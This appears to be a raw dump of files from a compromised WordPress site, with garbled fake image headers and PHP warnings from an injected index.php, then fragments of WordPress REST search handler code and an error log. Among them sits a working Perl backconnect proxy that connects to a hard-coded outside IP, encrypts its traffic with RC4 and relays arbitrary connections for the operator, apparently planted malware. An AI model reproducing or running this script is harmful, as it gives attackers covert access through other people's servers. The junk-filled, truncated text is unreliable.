????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
?????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
????????????????????????????????????????
???????????????????????????????????????
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
PNG
\x49\x44\x41\x54?\x89\x50
\x4E\x47\x0D\x0A\x1A\x0A
JFIF ?? C
!"$"$?? C
?? p
" ??
?? ?
????
(% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @
adadasdasdasasdasdas
.....................................................................................................................................??????????????????????
??? ???????????????????????????????????????...............................
JFIF ?? C
!"$"$?? C
?? p
" ??
?? ?
????
(% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @
adadasdasdasasdasdas
..................................................................................................................................... ????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
?????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
????????????????????????????????????????
???????????????????????????????????????
PNG
\x49\x44\x41\x54?\x89\x50
\x4E\x47\x0D\x0A\x1A\x0A
JFIF ?? C
!"$"$?? C
?? p
" ??
?? ?
????
(% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @
adadasdasdasasdasdas
.....................................................................................................................................??????????????????????
??? ???????????????????????????????????????...............................
JFIF ?? C
!"$"$?? C
?? p
" ??
?? ?
????
(% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @
adadasdasdasasdasdas
.....................................................................................................................................????????????????????????????????
???????????????????????????????
???????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>.
Warning: Undefined variable $auth in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 695
Warning: Trying to access array offset on value of type null in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 695
Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 332
Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 333
Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 334
Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 335
Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 336
Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 337
PK 9:\֖$ $ abjc2o98nu [ #!/usr/bin/perl
use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;
my $host = '185.93.89.191';
my $port = 4431;
my $xordata = "\x00" x 50;
for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }
sub Rc4_crypt {
my $passw = shift(@_);
my $length = shift(@_);
my $buff0 = shift(@_);
my $start = shift(@_);
my $sz = shift(@_);
my $rc4 = "\x00" x 256;
my $pockemon0 = 0;
my $pockemon1 = 0;
my $pockemon2 = 0;
my $pockemon3 = 0;
my $pockemon4 = 0;
my $pockemon5 = 0;
my $pockemon6 = 0;
my $pockemon7 = 0;
my $pockemon8 = 0;
my $rcx = $sz;
my $rsi = 0;
my $rbx = 0;
my $gs = 0;
my $t = 0;
for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
while(1) {
if ($gs == 0) {
$pockemon2 = 0;
$pockemon3 = $length;
}
if ($gs != 0) {
$gs = 0;
$pockemon2++;
if (--$pockemon3 == 0) { next; }
}
$pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
$t = unpack('C', substr($$passw, $pockemon2, 1));
$pockemon1 += $t;
$pockemon1 = $pockemon1 & 255;
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon0++;
$pockemon0 = $pockemon0 & 255;
if ($pockemon0 != 0) {
$gs = 1;
next;
}
$pockemon4 = $sz;
$pockemon1 = 0;
$pockemon0 = 0;
$pockemon2 = 0;
$pockemon3 = 0;
while(1) {
$pockemon2++;
$pockemon2 = $pockemon2 & 255;
$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon8 += $pockemon7;
$pockemon8 = $pockemon8 & 255;
$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
$pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));
$pockemon5 = $pockemon5 ^ $pockemon0;
substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
$pockemon3++;
if (--$pockemon4 == 0)
{
last;
}
}
last;
}
$rsi = 0;
$rcx = $sz;
$rbx = 0;
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
}
sub synsend {
my $cSocket = shift(@_);
my $buffer = shift(@_);
my $flags = shift(@_);
open(my $fh, "<", '/dev/null');
flock($fh, LOCK_EX);
# ===============================================
send($cSocket, $buffer, $flags);
# ===============================================
flock($fh, LOCK_UN);
close($fh);
}
sub newConnection {
my $num = shift(@_);
my $socketarray = shift(@_);
my $sSocket = shift(@_);
my $cSocket = shift(@_);
my $buff0 = shift(@_);
threads->create( sub {
my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
my $domain = '';
my $port = 0;
my $_ret = 0;
my $data = '';
my $buffer = '';
setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
fcntl($cSocket, F_SETFL, O_NONBLOCK);
if (unpack('C', substr($buff0, 7, 1)) == 3) {
$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
}
elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
}
else {
goto close_;
}
eval {
my $paddr = sockaddr_in($port, inet_aton($domain));
connect($cSocket, $paddr);
vec(my $win = '', fileno($cSocket), 1) = 1;
unless (select(undef, $win, undef, 10)) { goto close_; }
fcntl($cSocket, F_SETFL, 0);
substr($responce, 4, 1) = "\x00";
$_ret = 1;
};
close_:
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
synsend($sSocket, $responce, MSG_NOSIGNAL);
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
if ($_ret == 1) {
while ($$socketarray[$num] == 1) {
vec(my $rin = '', fileno($cSocket), 1) = 1;
unless (select($rin, undef, undef, 1)) { next; }
$data = '';
recv($cSocket, $data, 65530, 0);
unless ($data) { last; }
$buffer = pack('C', $num).pack('S', length($data)).$data;
Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
synsend($sSocket, $buffer, MSG_NOSIGNAL);
}
}
$$socketarray[$num] = 0;
close($cSocket);
substr($responce, 1, 2) = "\x00\x00";
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
threads->detach();
});
}
sub bccnct {
my $host = shift(@_);
my $port = shift(@_);
my $remaining = 0;
my $remaining4 = 0;
my @socketarr;
my @socketarray :shared;
my $buffer = "\x00" x 100;
my $buffernull = "\x00" x 3;
my $buffer0 = '';
my $isExit = 0;
my $ecx = 0;
my $eax = 0;
my $data = '';
my $_ret = 0;
my $ebx = 0;
my $edx = 0;
socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
my $paddr = sockaddr_in($$port, inet_aton($$host));
unless(connect($socketarr[0], $paddr)) { goto close0; }
substr($buffer, 0, 50) = $xordata;
substr($buffer, 50, 2) = "\xFF\xFF";
substr($buffer, 54, 11) = "Perl script";
Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
send($socketarr[0], $buffer, MSG_NOSIGNAL);
while(1) {
if ($remaining4 != 4) {
vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
my $ret = select($rin, undef, undef, 60);
next if ($ret < 0);
if ($ret == 0) {
last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
last if ($remaining != 0);
last if ($remaining4 != 0);
Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
next;
}
}
if ($remaining != 0 || $remaining4 == 4) {
if ($edx == 0) {
if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
$isExit = 1;
last;
}
elsif ($ebx < 200 && $ebx > 0) {
$socketarray[$ebx] = 0;
}
}
else {
$ecx = $edx;
$ecx = $ecx - $remaining;
$data = '';
recv($socketarr[0], $data, $ecx, 0);
unless ($data) { last; }
$remaining += length($data);
$buffer0 .= $data;
if ($edx == $remaining) {
Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
if (unpack('C', substr($buffer0, 0, 1)) == 0) {
socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$socketarray[$ebx] = 1;
newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
}
else {
send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
}
$remaining = 0;
}
}
$remaining4 = 0;
}
else {
if ($remaining4 == 0) { $buffer0 = ''; }
$eax = 4;
$eax = $eax - $remaining4;
$data = '';
recv($socketarr[0], $data, $eax, 0);
unless ($data) { last; }
$remaining4 += length($data);
$buffer0 .= $data;
$buffernull = "\x00" x 3;
if ($remaining4 == 4) {
Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
$ebx = unpack('C', substr($buffer0, 1, 1));
$edx = unpack('S', substr($buffer0, 2, 2));
$_ret = 1;
}
}
}
close0:
close($socketarr[0]);
for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
sleep 10;
if ($isExit == 1) { exit; }
return $_ret;
}
bccnct(\$host, \$port);
PK <:\p ' search/class-wp-rest-search-handler.phpnu [ type;
}
/**
* Gets the object subtypes managed by this search handler.
*
* @since 5.0.0
*
* @return string[] Array of object subtype identifiers.
*/
public function get_subtypes() {
return $this->subtypes;
}
/**
* Searches the object type content for a given search request.
*
* @since 5.0.0
*
* @param WP_REST_Request $request Full REST request.
* @return array Associative array containing an `WP_REST_Search_Handler::RESULT_IDS` containing
* an array of found IDs and `WP_REST_Search_Handler::RESULT_TOTAL` containing the
* total count for the matching search results.
*/
abstract public function search_items( WP_REST_Request $request );
/**
* Prepares the search result for a given ID.
*
* @since 5.0.0
* @since 5.6.0 The `$id` parameter can accept a string.
*
* @param int|string $id Item ID.
* @param array $fields Fields to include for the item.
* @return array Associative array containing all fields for the item.
*/
abstract public function prepare_item( $id, array $fields );
/**
* Prepares links for the search result of a given ID.
*
* @since 5.0.0
* @since 5.6.0 The `$id` parameter can accept a string.
*
* @param int|string $id Item ID.
* @return array Links for the given item.
*/
abstract public function prepare_item_links( $id );
}
PK <:\? , search/class-wp-rest-post-search-handler.phpnu [ type = 'post';
// Support all public post types except attachments.
$this->subtypes = array_diff(
array_values(
get_post_types(
array(
'public' => true,
'show_in_rest' => true,
),
'names'
)
),
array( 'attachment' )
);
}
/**
* Searches posts for a given search request.
*
* @since 5.0.0
*
* @param WP_REST_Request $request Full REST request.
* @return array {
* Associative array containing found IDs and total count for the matching search results.
*
* @type int[] $ids Array containing the matching post IDs.
* @type int $total Total count for the matching search results.
* }
*/
public function search_items( WP_REST_Request $request ) {
// Get the post types to search for the current request.
$post_types = $request[ WP_REST_Search_Controller::PROP_SUBTYPE ];
if ( in_array( WP_REST_Search_Controller::TYPE_ANY, $post_types, true ) ) {
$post_types = $this->subtypes;
}
$query_args = array(
'post_type' => $post_types,
'post_status' => 'publish',
'paged' => (int) $request['page'],
'posts_per_page' => (int) $request['per_page'],
'ignore_sticky_posts' => true,
);
if ( ! empty( $request['search'] ) ) {
$query_args['s'] = $request['search'];
}
if ( ! empty( $request['exclude'] ) ) {
$query_args['post__not_in'] = $request['exclude'];
}
if ( ! empty( $request['include'] ) ) {
$query_args['post__in'] = $request['include'];
}
/**
* Filters the query arguments for a REST API post search request.
*
* Enables adding extra arguments or setting defaults for a post search request.
*
* @since 5.1.0
*
* @param array $query_args Key value array of query var to query value.
* @param WP_REST_Request $request The request used.
*/
$query_args = apply_filters( 'rest_post_search_query', $query_args, $request );
$query = new WP_Query();
$posts = $query->query( $query_args );
// Querying the whole post object will warm the object cache, avoiding an extra query per result.
$found_ids = wp_list_pluck( $posts, 'ID' );
$total = $query->found_posts;
return array(
self::RESULT_IDS => $found_ids,
self::RESULT_TOTAL => $total,
);
}
/**
* Prepares the search result for a given post ID.
*
* @since 5.0.0
*
* @param int $id Post ID.
* @param array $fields Fields to include for the post.
* @return array {
* Associative array containing fields for the post based on the `$fields` parameter.
*
* @type int $id Optional. Post ID.
* @type string $title Optional. Post title.
* @type string $url Optional. Post permalink URL.
* @type string $type Optional. Post type.
* }
*/
public function prepare_item( $id, array $fields ) {
$post = get_post( $id );
$data = array();
if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_ID ] = (int) $post->ID;
}
if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) {
if ( post_type_supports( $post->post_type, 'title' ) ) {
add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
add_filter( 'private_title_format', array( $this, 'protected_title_format' ) );
$data[ WP_REST_Search_Controller::PROP_TITLE ] = get_the_title( $post->ID );
remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
remove_filter( 'private_title_format', array( $this, 'protected_title_format' ) );
} else {
$data[ WP_REST_Search_Controller::PROP_TITLE ] = '';
}
}
if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_URL ] = get_permalink( $post->ID );
}
if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_TYPE ] = $this->type;
}
if ( in_array( WP_REST_Search_Controller::PROP_SUBTYPE, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_SUBTYPE ] = $post->post_type;
}
return $data;
}
/**
* Prepares links for the search result of a given ID.
*
* @since 5.0.0
*
* @param int $id Item ID.
* @return array Links for the given item.
*/
public function prepare_item_links( $id ) {
$post = get_post( $id );
$links = array();
$item_route = rest_get_route_for_post( $post );
if ( ! empty( $item_route ) ) {
$links['self'] = array(
'href' => rest_url( $item_route ),
'embeddable' => true,
);
}
$links['about'] = array(
'href' => rest_url( 'wp/v2/types/' . $post->post_type ),
);
return $links;
}
/**
* Overwrites the default protected and private title format.
*
* By default, WordPress will show password protected or private posts with a title of
* "Protected: %s" or "Private: %s", as the REST API communicates the status of a post
* in a machine-readable format, we remove the prefix.
*
* @since 5.0.0
*
* @return string Title format.
*/
public function protected_title_format() {
return '%s';
}
/**
* Attempts to detect the route to access a single item.
*
* @since 5.0.0
* @deprecated 5.5.0 Use rest_get_route_for_post()
* @see rest_get_route_for_post()
*
* @param WP_Post $post Post object.
* @return string REST route relative to the REST base URI, or empty string if unknown.
*/
protected function detect_rest_item_route( $post ) {
_deprecated_function( __METHOD__, '5.5.0', 'rest_get_route_for_post()' );
return rest_get_route_for_post( $post );
}
}
PK @:\D3sj+ j+ search/error_lognu [ [19-Jul-2025 07:20:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[21-Jul-2025 18:36:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[22-Jul-2025 05:22:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[22-Jul-2025 18:50:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[23-Jul-2025 10:53:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[25-Jul-2025 02:15:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[10-Aug-2025 06:08:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[10-Aug-2025 06:08:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[10-Aug-2025 06:08:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[17-Aug-2025 11:44:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[17-Aug-2025 11:48:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[17-Aug-2025 12:42:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[17-Aug-2025 18:14:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[17-Aug-2025 18:15:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[17-Aug-2025 18:16:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[17-Aug-2025 18:19:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[17-Aug-2025 18:23:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[17-Aug-2025 18:27:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[17-Aug-2025 18:31:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[23-Aug-2025 05:26:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[23-Aug-2025 21:01:01 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[24-Aug-2025 21:01:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[27-Sep-2025 05:13:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[27-Sep-2025 22:00:27 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[27-Sep-2025 22:00:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[21-Oct-2025 16:38:06 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[21-Oct-2025 16:40:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[21-Oct-2025 16:44:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[30-Oct-2025 05:21:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[30-Oct-2025 22:43:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[30-Oct-2025 23:31:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
PK @:\eX , search/class-wp-rest-term-search-handler.phpnu [ type = 'term';
$this->subtypes = array_values(
get_taxonomies(
array(
'public' => true,
'show_in_rest' => true,
),
'names'
)
);
}
/**
* Searches terms for a given search request.
*
* @since 5.6.0
*
* @param WP_REST_Request $request Full REST request.
* @return array {
* Associative array containing found IDs and total count for the matching search results.
*
* @type int[] $ids Found term IDs.
* @type string|int|WP_Error $total Numeric string containing the number of terms in that
* taxonomy, 0 if there are no results, or WP_Error if
* the requested taxonomy does not exist.
* }
*/
public function search_items( WP_REST_Request $request ) {
$taxonomies = $request[ WP_REST_Search_Controller::PROP_SUBTYPE ];
if ( in_array( WP_REST_Search_Controller::TYPE_ANY, $taxonomies, true ) ) {
$taxonomies = $this->subtypes;
}
$page = (int) $request['page'];
